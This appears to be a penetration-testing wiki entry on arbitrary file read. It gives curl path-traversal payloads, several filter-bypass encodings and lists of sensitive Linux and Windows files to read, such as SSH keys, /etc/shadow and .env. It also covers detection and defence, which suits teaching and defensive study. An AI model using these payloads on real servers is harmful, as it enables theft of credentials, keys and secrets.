Arbitrary File Read

Arbitrary file read is any flaw that lets you read files on the server beyond what was intended. It is not a single technique but a class: path traversal, an API that returns whatever path you ask for, an XXE, an SSRF to file://, or an unvalidated download function. The payoff is configs, source code, /etc/passwd, SSH keys or tokens, almost always the bridge to credentials or RCE.

Why it works. The application builds a path from user data and does not canonicalize it or confine it to a directory. Escaping the intended folder (../../), passing an absolute path, or abusing a "filename" parameter is enough for the process to read, with ITS permissions, anything it can open. Because it doesn't run code, many underrate it, but reading the right file is usually enough.

The abuse. You point the read primitive at known sensitive paths.

# classic path traversal in a download/template parameter
curl 'http://<ip>/download?file=../../../../etc/passwd'
# absolute path if the parameter doesn't filter it
curl 'http://<ip>/api/report?path=/home/<user>/.ssh/id_rsa'

When ../ is filtered. If the app strips or blocks ../, it almost always does so naively and you get around it with an equivalent encoding or a sequence that survives the sanitizer.

curl 'http://<ip>/download?file=..%2f..%2f..%2f..%2fetc%2fpasswd'        # URL-encoded slash
curl 'http://<ip>/download?file=..%252f..%252f..%252fetc%252fpasswd'     # double URL-encode
curl 'http://<ip>/download?file=....//....//....//etc/passwd'            # ../ rebuilt after a non-recursive strip
curl 'http://<ip>/download?file=..%c0%af..%c0%afetc%c0%afpasswd'         # overlong UTF-8 of "/"
curl 'http://<ip>/download?file=/var/www/html/../../../etc/passwd'       # valid absolute prefix + escape
curl 'http://<ip>/download?file=../../../../etc/passwd%00.png'           # null byte if an extension is required ([[null-byte-bypass|null byte]])

Targets to read. The value is knowing what to ask for. On Linux, credentials and keys; on Windows, IIS config and deployment files. And /proc gives away the process itself (environment variables with secrets, command line).

# Linux
/etc/passwd  /etc/shadow  /etc/hosts  /root/.bash_history
/home/<user>/.ssh/id_rsa  /root/.ssh/id_rsa  /home/<user>/.git-credentials
/var/www/html/config.php  /var/www/html/.env  /var/www/html/wp-config.php
/proc/self/environ  /proc/self/cmdline                 # secrets passed via env/arguments
# Windows
C:\Windows\win.ini  C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config  C:\Windows\Panther\Unattend.xml
C:\Users\<user>\.ssh\id_rsa  C:\xampp\phpMyAdmin\config.inc.php

If the primitive serves plain text but not PHP, a php://filter returns the source in base64 instead of executing it, a technique in the file inclusion/traversal family.

Requirements. A read primitive (parameter, endpoint, XXE, SSRF) that reaches sensitive paths and a process with permission to read them. Its reach depends on the user running the service.

How to detect it. The pattern is requests with directory-traversal sequences (../, encodings %2e%2e%2f, ....//) or absolute paths toward system files, and responses that return config content or keys. In the logs, downloads of /etc/passwd, id_rsa or config files through endpoints that should serve only bounded data.

Defence. Canonicalize the path and check it stays inside an allowed directory (allowlist), don't pass user paths to the filesystem, run with least privilege and add a WAF. It is the family of file inclusion/traversal and GlassFish traversal; it usually leads to credentials in the source.